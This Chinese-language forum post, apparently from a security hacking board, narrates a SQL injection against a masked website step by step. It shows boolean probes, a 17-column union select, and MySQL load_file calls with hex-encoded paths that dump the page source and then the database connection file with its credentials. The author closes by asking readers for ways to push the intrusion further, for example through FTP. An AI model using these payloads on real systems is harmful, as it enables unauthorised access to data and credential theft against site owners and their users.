议题作者:Randy[B.S.F]
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com)
直接开门见说的提问了.大家谅解哦!
http://www.xxx.com/l/show.php?id=44725 and 1=1 正常
http://www.xxx.com/l/show.php?id=44725 and 1=2 不正常
http://www.xxx.com/l/show.php?id=44725 and 1=2 select union 1 不正常
中间省略N多
http://www.xxx.com/l/show.php?id=44725 and 1=2 select union 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 正常
紧张的使用load_file语句.由于是linux系统.一个'绝对路径就出来了.
/usr/httpd/xxx/l/show.php
把/usr/httpd/xxx/l/show.php 转换成16进制.
0x2F7573722F68747470642F677A636974792F6C2F73686F772E706870
然后提交
http://www.xxx.com/l/show.php?id ... 0union%20select%201,2,3,4,5,6,load_file(0x2F7573722F68747470642F677A636974792F6C2F73686F772E706870),8,9,10,11,12,13,14,15,16,17
show.php的源码漏出来了.看了php文件头.
<?
session_start();
include "../include/dbconn.inc.php";
不用说了吧.数据库连接文件.紧张的在DOS窗口执行telnet
www.xxx.com 3306
顺利连接.松了一大口气.接着提交
http://www.xxx.com/l/show.php?id ... 0union%20select%201,2,3,4,5,6,load_file(0x2F7573722F68747470642F677A636974792F696E636C7564652F6462636F6E6E2E696E632E706870),8,9,10,11,12,13,14,15,16,17
数据库帐号密码展现在我眼前.狂喜.拿着Maestro连接mysql.接着麻烦来了.Maestro提示
Access denied for user:'
root@xxx.com.tw'(using password:YES)
直接晕倒.密码不可能错误.难道是限制IP.最后到了这里我就停了.由于unix系统.了解的不多.希望大家讨论下思路.还有别的办法.比如从FTP入手等等.这里谢谢大家了! [s:66]